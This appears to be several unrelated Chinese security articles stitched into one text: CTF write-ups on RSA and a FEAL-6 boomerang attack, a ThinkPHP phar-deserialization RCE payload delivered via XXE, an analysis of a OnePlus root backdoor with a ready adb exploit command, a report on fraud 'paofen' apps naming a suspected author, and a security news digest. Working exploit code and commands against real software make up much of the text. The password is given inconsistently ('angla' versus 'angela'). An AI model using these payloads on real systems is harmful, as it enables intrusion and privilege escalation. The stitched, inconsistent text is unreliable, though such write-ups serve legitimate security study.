在这一题里，显然每一次的`m`都不一样，而且`e=3`的时候，就2个其他用户（明密文对）。
每一次的m都是由
1. from Alice (每次都相同)
2. to name（每次都不同）
3. msg (每次都相同)
生成，其中 **只有**`'to' : name`会变。
又由于有一个`data = json.dumps(data,
sort_keys=True)`，会根据这个`data`字典的`key`来排序，使得最终的`data`变成了：
> `name`用的`Bob`，`msg`（试验）选择的是95个'1'
可以发现，msg会被排序至中间这个位置。
`m = high + mid + low`
`high`就是对应的`'from' : Alice`， `mid`就是对应的`'msg' : msg`，`low`就是对应的`'to' : name`。
每一个`m`的 **高、中位** 都是不变的，只不过 **低位** 变了而已。
* * *
`high`和`low`都是已知(可以算出来）的，我们想要求的东西，就是这个`mid`。
这就让我想到了之前SCTF的一道[Broadcast Attack with Linear
Padding](http://www.soreatu.com/ctf/writeups/Writeup%20for%20babygame%20in%202019%20SCTF.html)。
我们可以把每一次的`m`看成
其中
且x仅为95*8=760位。
利用[Broadcast Attack with Linear
Padding](https://en.wikipedia.org/wiki/Coppersmith%27s_attack#Generalizations)
可以算出多项式
的`small root`。
> `small
> root`要求是要小于模数`n`的`1/e`次方，而`x`为760位，760*3=2280>2048=1024*2，所以需要用到两组加密使模数的位数增大为4096位，使得760位的x能够是`small
> root`。
sage:
from functools import reduce
n = [11743537468135317101480488020144809201914936988461977176868954193874417724397531738707729413940060004291802011501577549223271797288223565654061393379024948557114873802484065401046235691942131446370168987779343797500311519782297945918303703564655987952282482715476136773764831205732478344688915636069116516770855051840466960976764092858799500910720099908106249684080240663853178927556249049193503151085654884527269002477666950572742679984293662085069728877459286849951188181117702216469759179036558783079196215512501682142798495265635852347494193629555160491782509569392767123686061925883459482937083314597325931324903,
14457209969884668177708697333084651442256193118762305783886170334587420837310297145702128170106972242068185696834421424217621080232658721763477597612126355466640947700608787202555955170003838596141926637700553638034795412618607691704863949191711837596504911369550275265047485577345602266210861036695691235637536527380239331718278464709412846966181787795995822367966392084870050879397930114908541580226650851547317522603090899886280170245299959983054236157294287800393659291904879499563552223080590816177114742527572796924746954499447982388532224932540152177949556088321209870823140903366811600475984145194404542130227]
c = [8190049298225986645065639656298172597926128706450768371303258134744480067344252838541490888036183464705944304534788993901104793815361341756431217860700928158019252752618919437673052832128577726977953950790902559970309709239504865249701468783648614158118356226876181834829777260079340923537145106302704145961190836661375363413110097880213997662546161624163926197325967768410253429584704238310212909716376684130921549808859640649278922277248496022978656354003386568276074858346316327173050731369576404526308212891898482132494538059251451015302281630189059974681450654073047538089109981563439870031087270051532901896822,
12118101166054737713386215385862569765107262982956699621223784645643668203345111850159614142861485707244381466506582226100758646240135249724760825645393433062905277245716757630096083674730526877271237776864887538290354358982569685278734177038607779153674199245850037034568957234569159850767151815484600506473286544739506911281943726669304436835800686344966600632518764992677531015390701093253398220813342080495059893716294823513371481710159387645437923515728187314225175839309059255201792376404426500260584133880852811820804606509557432184294402579927159295465411669899092463872169344366863225658285149101653314280770]
a = [1, 1]
# b_i = high + low_i
b=[15544274873612998989866379328566946388285248570806564503108352867340017880252665817613208325183832507901409765669821491355202065667225050801744228447515864518584620720787409961012061302114074543857882368586098987225919736280924738224995075370843988377198544539266275729089636607095220506662375139381261384398438998662059177913249680151096549632879238896603189241688956490787338355571799212913598318011639865738648621731434747681682396930715043552472778331701738091587062917693835229391950847730617837543337471998802061973389340720433170042633451884844390746043635079083497185464124715717119052915013438803576714502781,
15544274873612998989866379328566946388285248570806564503108352867340017880252665817613208325183832507901409765669821491355202065667225050801744228447515864518584620720787409961012061302114074543857882368586098987225919736280924738224995075370843988377198544539266275729089636607095220506662375139381261384398438998662059177913249680151096549632879238896603189241688956490787338355571799212913598318011639865738648621731434747681682396930715043552472778331701733991049485714120357663081338580983163588987883815040112341393183479429685436337175694444720513269496978577270272192766705854550355666404326847416678342795901]
def chinese_remainder(n, a):
sum = 0
prod = reduce(lambda a, b: a * b, n)
for n_i, a_i in zip(n, a):
p = prod // n_i
sum += a_i * inverse_mod(p, n_i) * p
return int(sum % prod)
T = []
T.append(chinese_remainder([n[0],n[1]],[1,0]))
T.append(chinese_remainder([n[1],n[0]],[1,0]))
N = n[0]*n[1]
P.<x> = PolynomialRing(Zmod(N))
g=0
for i in range(2):
g += ((a[i]*x *2^608 + b[i])^3 - c[i])*T[i]
g = g.monic()
x = g.small_roots()[0]
print x
print hex(long(x))[2:].strip('L').decode('hex')
# 1714661166087377473014475529806516832214035482305327415277479703776481564871479523924321275498885242003713793314464965569235093750357822116766965311615937698169583931123673327349849371866141948995747458407120138743748898874096942
# Hahaha, Hastad's method don't work on this. Flag is flag{6b6c9731-5189-4937-9ead-310494b8f05b}.
flag{6b6c9731-5189-4937-9ead-310494b8f05b}
> 话说，`msg`的内容和给错附件的那道基本上差不多，就flag内容不同。直接把flag括号里的内容当成未知量(仅286位)，一组加密直接求`small
> root`就可以完事了。
>
> 这题出题人肯定没想到`Hastad's
> method`仍然适用，只需要2组e=3的加密就可以解出来，而并不需要像官方wp那样需要2组e=3的加密和2组e=5的加密才能解。
>
> 为了看比赛，又双叒叕拿了一血。 fpxnb！
### Boom
> 这一题比赛的时候没有做出来，否则我们队就第一了。。
赛后去稍微看了一下`Differential
Cryptoanalysis`，再结合[官网wp](https://mp.weixin.qq.com/s/MKaMMihP8gPSYKswAxjNqQ)里的关键词`Boomerang
Attack`，学习了一下，才做出来。
* * *
`task.py`文件中，主要看下面这两个加密和解密的函数。
很像是`CBC`模式，但是在经过`Feal6`后又多了一次异或操作。
> 画了2个简略图
`encrypt`函数：
`decrypt`函数
从中，不难推出如何获取任意的`c = Feal6.encrypt(m)`和`m = Feak6.decrypt(c)`。
> 注意区分task.py文件中的`encrypt`函数和`Feal6.encrypt`函数！
想要获得任意`m`被`Feal6`加密后的密文`c`，只需：
**第一次** 先发过去`b'\x00' * 32`经过`encrypt`函数，得到`p1 = b'\x00' *
16`被`Feal6`加密后的密文`c1`；
再 **第二次** 发送`b'\x00' * 32 + (c1 ^ m)`，得到的`c2`即为`Feal6.encrypt(m)`。
解密与此类似。
**第一次** 先发过去`b'\x00' * 32`经过`decrypt`函数，得到`c1 = b'\x00' *
16`被`Feal6`解密后的明文`p1`；
再 **第二次** 发送`b'\x00' * 32 + (p1 ^ c)`，得到的`p2`即为`Feal6.encrypt(c)`。
仔细观察上面两图即可验证，在此不深入证明。
def encrypt(plain):
r.sendline('/enc ' + '0'*32)
c1 = int(r.recvline().strip()[16:32], 16)
r.sendline('/enc ' + '0'*32 + hex(c1 ^ plain)[2:].zfill(16) )
c2 = int(r.recvline().strip()[32:48], 16)
return c2
def decrypt(cipher):
r.sendline('/dec ' + '0'*32)
p1 = int(r.recvline().strip()[16:32], 16)
x = p1 ^ cipher
r.sendline('/dec ' + '0'*32 + hex(x)[2:].zfill(16))
p2 = int(r.recvline().strip()[32:48], 16)
return p2
* * *
再来看如何获得flag：
发过去的内容前5个字节只能是`/enc , /dec , /cmd , /exit`，分别对应`encrypt, decrypt, exec,
exit`功能。
* `/exit`：直接退出。
* `/enc`：将选项后面的字节传入`encrypt`函数，返回函数结果。
* `/dec`：将选项后面的字节传入`decrypt`函数，返回函数结果。
* `/cmd`：将选项后面的 **八字节** 先经过`Feal6`解密，解密后的结果的开头只能是`cat, ls, pwd`这三个命令，并执行。
我们可以通过上面那个获取任意`c = Feal6.encrypt(m)`来获取以上三个命令的密文，并发送过去`/cmd
{Feal6.encrypt(cmd)}`即可执行命令。
`ls, pwd`执行结果均没有问题，问题出在了`cat`无法执行。
百思不得其解。。。
后来在`Feal6.py`文件中发现了问题所在：
woc，原来出题人在这里有限制，无法对含有`cat`的明文进行`Feal6`加密！
> 我就说，不然这题也太水了，跟前面两道不是一个档次。原来出题人在这个地方有限制。。。
我们必须要获得`cat flag`被加密的密文，要绕过那个加密函数来获得密文。
加密模式那边肯定是无法获得这个密文的，那么问题很可能就出现在这个`Feal6`加密算法上！
Google搜到，`Feal`系列算法 **很菜** ，防不住很多攻击，最主要的就是 **差分攻击** (`Differential
Cryptoanalysis`)。
[wiki](https://en.wikipedia.org/wiki/FEAL)里说只要100个明密文对，分分钟破解这个`Feal-6`。
> 当时已经半夜1，2点了，实在肝不动了，以为这一题就是要先获取100个明密文对，然后本地算出subkeys，然后本地加密`cat
> flag`获得密文。但又想了想，服务器连接时间是有限制的，破解subkeys应该还是要点时间的，好像不太可行。。
* * *
后来，看到官方wp说是`Boomerang Attack`，并找了几篇关于`Feal-6`的文章学习了一下。
* [由Feal-4密码算法浅谈差分攻击](https://www.anquanke.com/post/id/178045#h2-0)
* [Differential Cryptanalysis of FEAL](http://theamazingking.com/crypto-feal.php)
* [Boomerang Attack on FEAL-6](http://theamazingking.com/crypto-boom.php)
以及一个关于`Boomerang
Attack`的[youtube视频](https://www.youtube.com/watch?v=z53O4bX_TBw)。
看到这里的时候，我茅塞顿开，原来真的可以绕过！！！
> What a beautiful circuit!
tql！！！
令`P0 = b'cat flag'`，我们要获取`P0`加密后的密文。
我们可以通过`P0 -> P1 -> C1 -> C3 -> P3 -> P2 -> C2 -> C0`来绕过。
具体内容可以看上面提供的资料。
* * *
exp:
# python2
import string
from pwn import *
from itertools import product
import hashlib
from Crypto.Util.number import *
host, port = '', 10000
r = remote(host, port)
# context.log_level = 'debug'
def encrypt(plain):
r.sendline('/enc ' + '0'*32)
c1 = int(r.recvline().strip()[16:32], 16)
r.sendline('/enc ' + '0'*32 + hex(c1 ^ plain)[2:].zfill(16) )
c2 = int(r.recvline().strip()[32:48], 16)
return c2
def decrypt(cipher):
r.sendline('/dec ' + '0'*32)
p1 = int(r.recvline().strip()[16:32], 16)
x = p1 ^ cipher
r.sendline('/dec ' + '0'*32 + hex(x)[2:].zfill(16))
p2 = int(r.recvline().strip()[32:48], 16)
return p2
# PoW
rcv = r.recvline().strip()
suffix = rcv.split('+')[1].split(')')[0]
dig = rcv.split('==')[1].strip()
for prefix in product(string.ascii_letters+string.digits, repeat=4):
guess = ''.join(prefix)
if hashlib.sha256(guess + suffix).hexdigest() == dig:
break
r.sendline(guess)
r.recvuntil("Let's boom!!!\n")
r.recvuntil('\n')
# construct payload
cat = 7161132565001953639 # b'cat flag'
delta = 0x0200000282808082
p0 = cat
p1 = cat ^ delta
c1 = encrypt(p1)
c3 = c1 ^ delta
p3 = decrypt(c3)
p2 = p3 ^ delta
c2 = encrypt(p2)
c0 = c2 ^ delta
r.sendline('/cmd ' + hex(c0)[2:].zfill(16))
r.interactive()
比赛结束后环境没了，只能本地测试，结果如下：
## web
### Ticket_System
首先postXML页面存在有XXE漏洞，定义名为XXE的外部实体并尝试使用file协议将etc/passwd文件的内容取出，赋值给了实体，成功读取靶机/etc/passwd的内容
XXE漏洞存在，读取根目录下的hints.txt得知需要实现rce，此时联想到除了file协议XXE同样能执行phar协议，并且从报错页面得知thinkphp的版本为5.2.0，利用thinkphp的反序列化链即可实现rce。
首先创建phar.php，文件内容如下
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("Smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("Smi1e" => "system");
public function get($system)
{
$this->data = array("Smi1e" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}
namespace {
$Conver = new think\model\Pivot("ls");
$payload = new think\process\pipes\Windows($Conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo urlencode(serialize($payload));
}
?>
生成phar.phar文件后将后缀修改为xml后上传文件(文件上传功能只允许我们上传xml文件到tmp目录下)，文件成功上传后得到绝对路径，此时再到postXML页面将执行语句修改为phar:///tmp/uploads/生成的文件名.xml，即可实现phar文件的反序列化从而执行任意命令
读取到根目录中存在有readflag程序，尝试调用，修改执行语句为./readflag
是*ctf的一道原题，上传perl脚本后执行得到flag | 社区文章 |
# 一加手机 Root 后门分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞细节
在一加的工程模式中存在 Root 提权后门，该漏洞由 nowsecure
团队发现。详情可点击https://www.nowsecure.com/blog/2017/11/14/oneplus-device-root-exploit-backdoor-engineermode-app-diagnostics-mode/ 参考。
类 com.android.engineeringmode.qualcomm.DiagEnabled 存在权限提升后门
private boolean escalatedUp(boolean arg7, String arg8) {
boolean v1 = true;
if(arg7) {
if(arg8 != null) {
arg7 = Privilege.escalate(arg8);
if(arg7) {
SystemProperties.set("persist.sys.adbroot", "1");
SystemProperties.set("oem.selinux.reload_policy", "1");
}
String v4 = "DiagEnabled";
StringBuilder v5 = new StringBuilder().append("privilege escalate ");
String v3 = arg7 ? "success" : "failed";
Log.d(v4, v5.append(v3).toString());
}
else {
arg7 = false;
}
v1 = arg7;
}
else {
SystemProperties.set("persist.sys.adbroot", "0");
Privilege.recover();
}
SharedPreferences$Editor v0 = this.getSharedPreferences("privilege", 0).edit();
v0.putBoolean("escalated", arg7);
v0.commit();
this.updatePrivilegeButton();
if(v1) {
if("0".equals(SystemProperties.get("persist.sys.adbroot", "1"))) {
new Thread(new Runnable() {
public void run() {
Log.i("DiagEnabled", "reboot device...");
DiagEnabled.this.getSystemService("power").reboot(null);
}
}).start();
}
else {
SystemProperties.set("ctl.restart", "adbd");
}
}
return v1;
}
由以上代码逻辑可知，要使得代码执行到SystemProperties.set(“persist.sys.adbroot”, “1”);(adb shell
变 root)，需要使Privilege.escalate(arg8);返回true。escalate()是 native 函数，实现在
libdoor.so里。
root@OnePlus:/system/lib # ls|grep door
libdoor.so
root@OnePlus:/system/lib #
逆向发现，该函数使用 JNI_Onload 进行动态函数注册
signed int __fastcall JNI_OnLoad(int *a1, int a2)
{
int v2; // r2
int v3; // r3
const char *v4; // r2
int v5; // r4
int v6; // r1
const char *v7; // r2
int v9; // [sp+4h] [bp-14h]
v9 = a2;
v2 = *a1;
v9 = 0;
if ( (*(int (__cdecl **)(int *))(v2 + 24))(a1) )
{
v4 = "ERROR: GetEnv failed\n";
}
else
{
v5 = v9;
v6 = (*(int (__fastcall **)(int, const char *))(*(_DWORD *)v9 + 24))(
v9,
"com/android/engineeringmode/qualcomm/Privilege");
if ( v6 )
{
if ( (*(int (__fastcall **)(int, int, char **, signed int))(*(_DWORD *)v5 + 860))(v5, v6, off_5028, 3) >= 0 ) // ----> 查看 0ff_5028
return 65540;
v7 = "RegisterNatives failed for '%s'\n";
}
else
{
v7 = "Native registration unable to find class '%s'\n";
}
_android_log_print(3, "door", v7, "com/android/engineeringmode/qualcomm/Privilege");
v4 = "ERROR: BinaryDictionary native registration failed\n";
}
_android_log_print(3, "door", v4, v3);
return -1;
}
0ff_5028 数据取放置的是各个动态函数的地址，找到escalate()地址为sub_C40。
.data:00005028 off_5028 DCD aIsescalated ; DATA XREF: JNI_OnLoad+4C↑o
.data:00005028 ; .text:off_1188↑o
.data:00005028 ; "isEscalated"
.data:0000502C DCD aZ ; "()Z"
.data:00005030 DCD sub_C40+1
//------------------------------------------------------------------------------ .data:00005034 DCD aEscalate ; "escalate"
.data:00005038 DCD aLjavaLangStrin ; "(Ljava/lang/String;)Z"
.data:0000503C DCD sub_1004+1 // ----> 函数地址
//------------------------------------------------------------------------------
.data:00005040 DCD aRecover ; "recover"
.data:00005044 DCD aV ; "()V"
.data:00005048 DCD sub_B70+1
.data:00005048 ; .data ends
bool __fastcall sub_1004(int a1, int a2, int a3)
{
int v3; // r8
int v4; // r7
const char *v5; // r6
size_t v6; // r9
int v7; // r3
int v8; // r4
char v10; // [sp+4h] [bp-BCh]
int v11; // [sp+74h] [bp-4Ch]
int v12; // [sp+78h] [bp-48h]
char v13; // [sp+7Ch] [bp-44h]
v3 = a3;
v4 = a1;
v5 = (const char *)(*(int (**)(void))(*(_DWORD *)a1 + 676))();
(*(void (__fastcall **)(int, int))(*(_DWORD *)v4 + 672))(v4, v3);
v11 = 235212815;
v12 = 302976772;
if ( !v5 || !*v5 )
goto LABEL_6;
v6 = strlen(v5);
SHA256_Init(&v10);
SHA256_Update(&v10, v5, v6);
SHA256_Final(&v13, &v10);
if ( memcmp(&v13, &unk_5008, 0x20u) ) // 输入密码校验，也就是escalate()的第二个参数
{
_android_log_print(3, "door", "password verify failed\n", v7);
LABEL_6:
v8 = -1;
goto LABEL_7;
}
_android_log_print(3, "door", "password verify passed\n", v7);
v8 = sub_CC8(&v11);
LABEL_7:
(*(void (__fastcall **)(int, int, const char *))(*(_DWORD *)v4 + 680))(v4, v3, v5);
return v8 == 0;
}
unk_5008数据区域存放的值是79a6a933dfc9b1975e444d4e8481c64c771d8ab40b7ac72f8bc1a1bca1718bef,这里是与escalate()函数第二个参数进行
SHA256 后的值进行比较，看是否相等，相等则返回 true，那么接下来就会打开 root 权限。那么什么字符串的SHA256值是上面的数据呢？
在hashtoolkit.com进行 sha256 解密得：
密码是angla。
## Exploit
protected void onCreate(Bundle arg4) {
super.onCreate(arg4);
this.setContentView(2130903082);
this.mSerial = this.findViewById(2131493027);
this.mSerial.setOnCheckedChangeListener(((CompoundButton$OnCheckedChangeListener)this));
this.mDiag = this.findViewById(2131493026);
this.mDiag.setOnCheckedChangeListener(((CompoundButton$OnCheckedChangeListener)this));
this.mAllDiag = this.findViewById(2131493028);
this.mAllDiag.setOnCheckedChangeListener(((CompoundButton$OnCheckedChangeListener)this));
this.mRndisAndDiag = this.findViewById(2131493029);
this.mRndisAndDiag.setOnCheckedChangeListener(((CompoundButton$OnCheckedChangeListener)this));
this.mPrivilege = this.findViewById(2131493031);
this.mPrivilege.setOnClickListener(((View$OnClickListener)this));
this.mPrivilege.setVisibility(4);
this.findViewById(2131493030).setVisibility(4);
this.mUsbManager = this.getSystemService("usb");
if(this.getIntent() != null) {
this.escalatedUp(true, this.getIntent().getStringExtra("code"));//----->
}
if(Feature.isSerialCdevSupported(((Context)this))) {
DiagEnabled.ALLDIAG_USB_CONFIG = "diag,serial_cdev,serial_tty,rmnet_ipa,mass_storage,adb";
}
}
com.android.engineeringmode.qualcomm.DiagEnabled类是一个 Activity 类，且 exported
属性设置为了true，故而可以直接通过 adb 进行调用。从以上代码可知，escalate() 第二个参数，又可以通过 Intent
的方式进行传递，故而我们也可以在 adb 里使用 am 进行发送第二个参数angela。 最终我们构造的 exploit 代码为：
$ adb shell am start -n com.android.engineeringmode/.qualcomm.DiagEnabled --es "code" "angela"
再次执行 adb shell 将会获取 root shell。
## 漏洞修复
一加 1 – 5 之后，直接关闭了用户对工程模式的访问。 | 社区文章 |
# 黑灰产的廉价“温床”——跑分平台
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**背景：**
上一篇“[我被“裸聊APP”诈骗了](https://mp.weixin.qq.com/s/k2uVJO1JWfiDtypYa7mJeg)”发布之后，很多网友私信反映，根据大量留言内容，主要包含两个方面，一方面是他们自己的支付宝收款码、银行卡号被诈骗团伙利用了，另外一方面是自己被骗了，看有没有什么办法追回失去的金钱，这是什么情况？根据我们以往的经验，这很有可能是诈骗团伙使用第三方平台获取的收款码或银行卡信息来逃避追责，以降低安全风险，或者平台跑路
在恒安嘉新
App全景态势与案件情报溯源挖掘平台上，我们发现一批关于“跑分平台”的应用程序，如图1所示，这类应用程序行为并不复杂，通常是采用网上公开源码或工具，批量一键生成，制作成本低，从年龄的角度划分，这类样本制作、传播趋向年轻化。本文主要是针对“跑分平台”的运作模式、黑产溯源、危害等角度进行解析，让大家有一个初步的了解，以免再次上当受骗。
图1-1“跑分”平台的应用程序列表
## 1.“跑分”平台黑产分析
所谓“跑分”，是利用正常用户的微信、支付宝收款码以及银行卡替别人收款，从中赚取佣金。而“跑分平台”就是专门为“跑分”搭建的一个网站或APP平台。通过搭建平台网站，以类似网约车“抢单”的模式进行运作。
主流的“跑分”有微信跑分、支付宝跑分、银行卡跑分，最近看到很多平台又推出了“拼多多”跑分平台。
图1-2 跑分平台运作模式
### **1.1 “跑分”平台推广方式**
网赚兼职是“跑分”的主要推广方式，我们在某网站上找到了大量“跑分”兼职项目，由于招募者宣称来钱快、回报高，不少年轻人特别是在校大学生参与其中。而疫情期间大多数人无收入来源，网上兼职对于他们来说便是刚需。
图1-3 招收兼职推广
为了获取大量的微信、支付宝二维码，拓展业务，“跑分平台”发展庞大的代理团队。他们的自称是“码商”，大部分码商最开始都是自己玩跑分，后来才开始发展下线。他们去各类兼职群里发广告，在论坛发帖，以微信、支付宝流水限额、帮助有需要的商家、平台代收款等幌子蒙骗用户参与。
图 1-4某跑分官网招收代理
在与发布兼职消息的代理取得联系后，他们会要求用户下载一款应用。该应用便是他们用来发布订单、接收订单、交易的“跑分平台”。
图1-5 与代理聊天记录
通过各个社交账号发送“跑分”APP：
图1-6 下发“跑分”APP
在此过程中我们还了解到这些兼职平台发布信息的账户信息也是租借的：
图1-7聊天记录信息
### **1.2 “跑分”平台黑产运作流程**
深入了解之后，我们了解了“跑分平台”运作的流程大体如下：
图1-8“跑分平台”运作流程图
（1）已经从事“跑分”的用户需要拉下级，发展下线；
（2）租借正常用户账户发布兼职信息；
（3）需要兼职的用户找到发布兼职的的平台，找到相关兼职；
（4）发布兼职的用户让兼职人员添加自己的某某社交账户，并发送“跑分平台”信息；
（5）兼职用户下载“跑分平台”APP，并注册登录、完善信息，包括了绑定银行卡、上传收款码、交押金等；
（6）黑灰产团队在“跑分平台”放单；
（7）兼职用户在“跑分平台”接单；
（8）黑灰产团队将从“跑分平台”获取的对应用户的收款码、银行卡号发给被诈骗的用户；
（9）被诈骗的用户将钱转给兼职用户；
（10）”跑分平台”将兼职用户的押金转给黑灰产团队账户。
至此，一个完成的跑分流程完成，黑灰产团队诈骗得来的钱彻底洗白，整个过程涉及到不知情用户较多，溯源过程极难。
## 2.“跑分平台”APP分析
我们在追踪这些代理用户时，也在网上搜索了“跑分平台”相关资料，发现大部分的“跑分平台”都是网上公开的源码通过代码打包平台一键生成的，成本极低，可以同时生成Android客户端、IOS客户端以及网页版，可以适应不同的用户群体。
网上的源码售卖以及公开的源码：
图2-1个人、公司公开售卖源码
我们详细分析了其中一款APP:
### **2.1 样本概况**
**样本名称：** 开心赚
**MD5:** 6BD44F509208C04F1DD9C66893B1DCAF
**包名：** io.dcloud.www.kaixinzhuanwang.com
**证书MD5：** EFE64EA9F811B577737E6818A858761A
**打包时间** ：2020年05月08日16时03分26秒
图2-2 程序安装图标
### **2.1 样本行为分析**
这款应用是通过某平台打包而成，该平台是一个Web应用程序(可以通过Web访问的应用程序)云打包平台，我们可通过该平台将网页代码打包成APP。
打包后网页代码主要放在Asset目录下。代码结构如下图所示：
图2-3 代码结构
各功能界面以及功能代码：
图2-4 代码页面
**嵌入的第三方SDK会收集用户安装的应用列表和App的运行日志。**
上传应用程序列表、固件信息：
图2-6上传应用程序列表、固件信息
上传APP运行日志：
图2-7 上传APP运行日志
## 3.“跑分平台”相关溯源
通过溯源我们找到以下信息：
图3-1 溯源脑图
### **3.1 作者一**
我们在分析“开心赚”源码时，发现了疑似源码作者注释信息：
图3-2 “开心赚”网页源码
作者: 深海
QQ：[10******[email protected]](mailto:10******[email protected])
图3-3 作者QQ信息
我们检索了该QQ相关信息，证实该用户即为源码作者，并且长期从事源码创作。该作者还注册了专门用于售卖源码的淘宝店铺。
图3-4 源码售卖店铺信息
该用户在早期学生时代就发布技术贴，主要是QQ引流：
图3-5 作者引流方式
### **3.2 作者二**
同样在源码中我们找到了以下作者的注释信息：
图3-6 源码作者信息
作者: 深海
QQ：[5*****[email protected]](mailto:5*****[email protected])
我们在该作者的QQ详细页面中找到了作者的公司以及他的个人网站。
图3-7 作者QQ资料信息
个人网站：http://www.*****.net/。该网站是一个前端、微信小程序等内容的学习平台。
图3-8 作者个人网站信息
由该网站我们找到了作者的真实姓名：刘海君。主要从事前端、微信小程序等网络教学。
图3-9 作者网络教学课程
### **3.3 服务器分析**
通过App全景态势与案件情报溯源挖掘平台样本同源性关联分析得到IP地址103.**.**.60位于中国香港，该域名多次被标记为垃圾邮件、僵尸网络。
**绑定过域名信息：**
序号 | | 域名 |
---|---|---|---
1 | | k*.com |
2 | | w*.ka****pp.com |
3 | | w*.ka****ng.com |
4 | | w*.ma***kit.com |
5 | | s*.com |
6 | | w*.sk****fly.com |
**后台地址：**
**http://www.ka****pp.com/admin。**
图3-10 服务器后台
## 4.“跑分平台”的危害
### **4.1 泄露个人隐私信息**
用户要想在平台接单赚取佣金，首先需要注册账户并提交对应微信、支付宝的收款码，银行卡信息，有些平台还需要绑定银行卡账户，甚至实名等。这些信息都会被上传到平台后台。既然说了跑分平台不存在正规与否，那么你的信息安全吗？我们经常看到某某平台大量用户信息泄露的新闻，那么用户在该平台的信息就安全吗？答案是肯定的，不安全，分分钟平台就可能将用户的信息转卖给其他不法组织。而这些个人信息一旦被不法分子收集利用，后果不堪设想，例如名誉受损、推销电话或短信骚扰、接到诈骗电话、收到垃圾邮件、账户密码被盗、甚至仿冒你的身份进行贷款等。
**图4-1“跑分平台”上传信息页面**
### **4.2 骗取押金**
不管是早期的刷单平台，还是今天我们看到的跑分平台，都属于非正规平台，不能保证用户资金安全，可能你今天刚交保证金，明天就被拉黑了；也可能前几天让你尝到甜头，佣金颇丰，后面要做大单子的时候，你充值了保证金，结果平台跑路了，那么你充值的保证金将血本无归
。
### **4.3 封号**
收款码被不法分子使用后，可能从在被用户举报行为，也可能因为大量收入不明来源资金而提示账户异常等，甚至造成账户冻结。
**图4-2 用户资金被冻结S**
### **4.4 成为违法犯罪的帮凶**
黑/灰产人员在平台放单，用户抢单成功，黑/灰产人员将用户的二维码用于违法活动收款，而用户收到款+佣金提成后，对应存放在平台的保证金也会转入到黑灰产团伙的账户上。
在这个过程看似用户并没有做什么，但实则已经触犯刑法，用户得到了一点利润，但却未意识到自己已经成为了违法犯罪的帮凶。下图截至《中华人民共和国刑法》。
《中华人民共和国刑法》第一百九十一条：
**图4-3《中华人民共和国刑法》第一百九十一条**
## 5\. 总结
跑分平台就是利用用户“占小便宜”的心理，利用正常用户的微信、支付宝收款码，以及银行卡替别人收款，然后自己从中赚取少量佣金，这类“跑分平台”的App大多数是网上公开的源码，一键批量生成，成本极低，可以生成Android、IOS客户端，及网页版等兼容不同平台，可以适应不同的用户群体。很容易造成用户个人信息泄露，经济财产损失，封号，甚至成为黑灰产违法犯罪的帮凶。
在此，暗影实验室提醒大家，不轻易相信陌生人，不占小便宜，不轻易点击陌生人发送的链接，不轻易下载不安全应用。
1. 安全从自身做起，建议用户在下载软件时，到正规的应用商店进行下载正版软件，避免从论坛等下载软件，可以有效的减少该类病毒的侵害；
2. 很多用户受骗正是因为钓鱼短信的发件人显示为10086、95588等正常号码而放松安全警惕导致中招，运营商需要加强对伪基站的监控打击力度，减少遭受伪基站干扰的几率；
3. 各大银行、各支付平台需要加强对各自支付转账渠道的监管，完善对用户资金转移等敏感操作的风控机制，防止被不法分子利用窃取用户网银财产;
警惕各种借贷软件的套路，不要轻易使用借贷类App。 | 社区文章 |
# 【知识】11月27日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：
新的mirai僵尸网络变种正在端口23和2323上积极传播、著名图片分享网站imgur承认在2014年曾遭遇数据泄露导致170万用户的email地址和密码、Cobalt
group被发现利用CVE-2017-11882漏洞、使用node.js调用CoinHive挖矿、作者用C和Python写了个Linux上的勒索软件GonnaCry
******
资讯类：
新的mirai僵尸网络变种正在端口23和2323上积极传播
<http://bobao.360.cn/learning/detail/4754.html>
著名图片分享网站imgur承认在2014年曾遭遇数据泄露导致170万用户的email地址和密码
<https://thehackernews.com/2017/11/imgur-data-breach.html>
Cobalt group被发现利用CVE-2017-11882漏洞
<https://www.bleepingcomputer.com/news/security/a-hacking-group-is-already-exploiting-the-office-equation-editor-bug/>
<http://securityaffairs.co/wordpress/66021/cyber-crime/cobalt-group-cve-2017-11882.html>
上周勒索软件盘点：qkG, Scarab, Necurs等
<https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-24th-2017-qkg-scarab-necurs-and-more/>
**技术类：**
使用node.js调用CoinHive挖矿
<https://0x00sec.org/t/coinhive-node-js/4472>
<https://github.com/cazala/coin-hive>
作者用C和Python写了个Linux上的勒索软件GonnaCry
<https://0x00sec.org/t/gonnacry-a-linux-ransomware/4467>
<https://github.com/tarcisio-marinho/GonnaCry>
Exim RCE的PoC
<https://bugs.exim.org/attachment.cgi?id=1052>
【Bugs】Windows win32kfull!GreUpdateSpriteInternal Kernel Stack Memory
Disclosure Exp
<http://0day.today/exploits/29057>
【Bugs】Microsoft Windows 10 nt!NtQueryDirectoryFile
(luafv!LuafvCopyDirectoryEntry) Pool Memory Disclosure
<https://cxsecurity.com/issue/WLB-2017110143>
【Bugs】Linux mincore() Uninitialized Kernel Heap Page Disclosure
<https://cxsecurity.com/issue/WLB-2017110142>
【Bugs】D-Link DIR-850L Credential Disclosure
<https://cxsecurity.com/issue/WLB-2017110144>
【Bugs】Segwit2x Bugs Explained
<https://bitcointechtalk.com/segwit2x-bugs-explained-8e0c286124bc>
【教程】An Introduction to Writing .NET Executables for Pentesters
<https://www.peew.pw/blog/2017/11/24/an-introduction-to-writing-net-executables-for-pentesters>
【教程】Shodan完整指南
<https://leanpub.com/shodan>
【教程】反逆向的虚拟机技术
